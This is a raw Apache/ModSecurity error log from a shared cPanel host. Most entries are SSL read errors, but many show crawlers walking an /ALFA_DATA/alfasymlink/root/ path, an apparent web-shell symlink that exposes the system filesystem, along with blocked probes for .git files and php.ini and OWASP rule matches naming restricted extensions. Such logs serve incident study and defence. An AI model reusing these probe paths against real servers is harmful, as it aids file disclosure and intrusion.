[Sun Oct 25 04:23:06.151208 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 100.28.57.133:7828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:23:10.224790 2026] [ssl:error] [pid 2775672:tid 2775672] (5)Input/output error: [client 34.231.45.47:54625] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:23:14.187615 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.221.37.41:53467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:23:15.775295 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 185.191.171.17:14880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/cpu_slabs
[Sun Oct 25 04:23:25.286265 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.194:18882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/shrink
[Sun Oct 25 04:23:26.155780 2026] [security2:error] [pid 2795519:tid 2795519] [client 3.93.98.99:22355] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/"] [unique_id "at28fhnFg98qhcJASwXSuQAAAAQ"]
[Sun Oct 25 04:23:26.155825 2026] [security2:error] [pid 2795519:tid 2795519] [client 3.93.98.99:22355] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/"] [unique_id "at28fhnFg98qhcJASwXSuQAAAAQ"]
[Sun Oct 25 04:23:38.147774 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.225.9.97:32254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:23:42.298836 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.210.155.69:9799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:23:58.148388 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.205.74.196:57515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:02.168031 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.152.163.42:26210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:10.167673 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.197.178.107:64258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:38.157391 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 98.83.226.125:19740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:42.196118 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 34.192.125.239:62956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:46.146141 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 34.206.193.60:27216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:24:50.276492 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.197.114.76:57168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:02.221282 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.144.185.255:34676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:10.631488 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.18:54884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/i8042/parameters/debug
[Sun Oct 25 04:25:14.173078 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 3.222.190.107:18144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/close_delay
[Sun Oct 25 04:25:30.141138 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.226.106.93:14584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:42.157834 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 44.207.69.106:23467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:42.578350 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 85.208.96.208:57790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:46.140935 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.216.172.204:51395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:49.445557 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 85.208.96.194:53920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:25:54.145998 2026] [security2:error] [pid 2775684:tid 2775684] [client 3.212.86.97:50678] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/"] [unique_id "at29EganevcJbML2UkvodgAAAAU"]
[Sun Oct 25 04:25:54.146058 2026] [security2:error] [pid 2775684:tid 2775684] [client 3.212.86.97:50678] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/"] [unique_id "at29EganevcJbML2UkvodgAAAAU"]
[Sun Oct 25 04:25:58.249723 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.89.90.224:41510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:10.199431 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.83.10.183:28037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:14.137890 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.209.137.234:18786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:18.138433 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 34.227.234.246:28280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory22/subsystem/drivers_probe
[Sun Oct 25 04:26:26.172974 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.3.156.186:57760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:30.178033 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.227.156.153:53996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:34.130654 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.7.13.143:1796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:42.148708 2026] [ssl:error] [pid 2775672:tid 2775672] (5)Input/output error: [client 98.82.66.172:57222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:44.665241 2026] [security2:error] [pid 2781507:tid 2781507] [client 185.191.171.13:50636] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf"] [unique_id "at29RJ68N771hz7W4Kls1AAAAAw"]
[Sun Oct 25 04:26:44.665661 2026] [security2:error] [pid 2781507:tid 2781507] [client 185.191.171.13:50636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf"] [unique_id "at29RJ68N771hz7W4Kls1AAAAAw"]
[Sun Oct 25 04:26:44.666035 2026] [security2:error] [pid 2781507:tid 2781507] [client 185.191.171.13:50636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf"] [unique_id "at29RJ68N771hz7W4Kls1AAAAAw"]
[Sun Oct 25 04:26:50.143814 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 107.20.181.148:35020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:26:54.146189 2026] [security2:error] [pid 2775672:tid 2775672] [client 34.206.193.60:29160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/memory2/power/"] [unique_id "at29TsqduxFlyzJhl1wEuAAAAAA"]
[Sun Oct 25 04:26:54.146250 2026] [security2:error] [pid 2775672:tid 2775672] [client 34.206.193.60:29160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/memory2/power/"] [unique_id "at29TsqduxFlyzJhl1wEuAAAAAA"]
[Sun Oct 25 04:27:02.139430 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.167.32.123:30385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:06.135230 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.203.237.170:52754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:10.148891 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.84.102.81:47323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:14.149085 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.22.87.224:32324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:18.262714 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.54.157.23:12570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:30.126872 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.147.182.90:58195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:42.188710 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.227.180.70:25987] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/0000:00:04.0/resource1
[Sun Oct 25 04:27:42.642297 2026] [authz_core:error] [pid 2775672:tid 2775672] [client 45.198.224.125:58250] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:27:50.243917 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.71.46.142:27487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:54.145661 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 52.201.155.215:57976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/resource0
[Sun Oct 25 04:27:55.156006 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 185.191.171.16:33934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:27:58.139337 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.208.11.93:65489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:28:03.078401 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.3:53270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/free_calls
[Sun Oct 25 04:28:22.170249 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.90.244.132:10269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:28:23.814124 2026] [security2:error] [pid 2781524:tid 2781524] [client 172.64.198.143:14028] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at29p4HtOs-nfC4GshpSPwAAABc"]
[Sun Oct 25 04:28:23.814124 2026] [security2:error] [pid 2795519:tid 2795519] [client 172.64.198.143:14025] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at29pxnFg98qhcJASwXSxAAAAAQ"]
[Sun Oct 25 04:28:23.814413 2026] [security2:error] [pid 2781524:tid 2781524] [client 172.64.198.143:14028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at29p4HtOs-nfC4GshpSPwAAABc"]
[Sun Oct 25 04:28:23.814413 2026] [security2:error] [pid 2795519:tid 2795519] [client 172.64.198.143:14025] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at29pxnFg98qhcJASwXSxAAAAAQ"]
[Sun Oct 25 04:28:23.814794 2026] [security2:error] [pid 2795519:tid 2795519] [client 172.64.198.143:14025] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at29pxnFg98qhcJASwXSxAAAAAQ"]
[Sun Oct 25 04:28:23.814814 2026] [security2:error] [pid 2781524:tid 2781524] [client 172.64.198.143:14028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at29p4HtOs-nfC4GshpSPwAAABc"]
[Sun Oct 25 04:28:34.328463 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.208.11.93:12528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:28:50.127630 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.194.95.99:26696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:28:58.123498 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 98.82.66.172:59017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:09.847558 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 185.191.171.16:36854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/destroy_by_rcu
[Sun Oct 25 04:29:10.386163 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.204.37.237:24642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:18.146749 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 18.210.58.238:19855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:26.161943 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 34.195.248.30:6341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:30.149780 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 98.82.40.168:38821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:34.252581 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.3.156.186:25124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:34.813153 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 85.208.96.198:26354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:42.196214 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 98.82.59.253:4256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:46.125647 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.207.79.144:30691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:47.534034 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.211:52524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/objects_partial
[Sun Oct 25 04:29:54.165061 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.225.243.131:39672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:29:58.145844 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.7.13.143:15977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:06.135957 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.2.191.202:48545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:14.146571 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 52.1.106.130:60924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/exar_serial/remove_id
[Sun Oct 25 04:30:18.209984 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 35.169.102.85:21920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:30.140262 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 23.23.99.55:16387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:34.133724 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 34.234.197.175:15401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:50.148112 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.225.138.57:22802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:54.146378 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 23.23.213.182:22276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:30:54.667047 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.12:64118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/blocked_incoming_email_countries
[Sun Oct 25 04:30:58.250575 2026] [security2:error] [pid 2795519:tid 2795519] [client 18.235.81.246:24135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:0a/subsystem/drivers/button/LNXPWRBN:00/input/"] [unique_id "at2-QhnFg98qhcJASwXSyQAAAAQ"]
[Sun Oct 25 04:30:58.250640 2026] [security2:error] [pid 2795519:tid 2795519] [client 18.235.81.246:24135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:0a/subsystem/drivers/button/LNXPWRBN:00/input/"] [unique_id "at2-QhnFg98qhcJASwXSyQAAAAQ"]
[Sun Oct 25 04:31:06.257778 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.209.137.234:46658] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:31:14.146283 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 35.169.102.85:55160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:31:18.305823 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.163.136.244:19346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:31:25.270058 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 185.191.171.15:22030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/remote_node_defrag_ratio
[Sun Oct 25 04:31:26.134658 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 54.166.104.83:26548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:31:42.185796 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.223.232.55:63689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:31:50.229165 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.85.7.119:53006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:02.303150 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.231.193.38:30381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:14.142321 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.144.185.255:28804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:26.277928 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.156.55.147:24891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:28.278783 2026] [security2:error] [pid 2795520:tid 2795520] [client 43.165.167.72:34622] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at2-nAlDDvw8T267blqcIQAAAAg"]
[Sun Oct 25 04:32:30.154612 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 35.172.125.172:48064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:34.173170 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.203.68.145:10127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:38.175434 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.231.45.47:17326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:32:58.126741 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.152.163.42:27569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:33:06.145234 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 18.214.238.178:40347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:33:10.732290 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.15:40436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/objs_per_slab
[Sun Oct 25 04:33:14.160550 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 3.224.104.67:8361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/ec/unbind
[Sun Oct 25 04:33:18.144300 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 18.211.148.239:55554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/driver/unbind
[Sun Oct 25 04:33:22.146013 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.231.193.38:6605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:33:26.226936 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.156.55.147:34333] AH02013: coalesce failed to read from data bucket
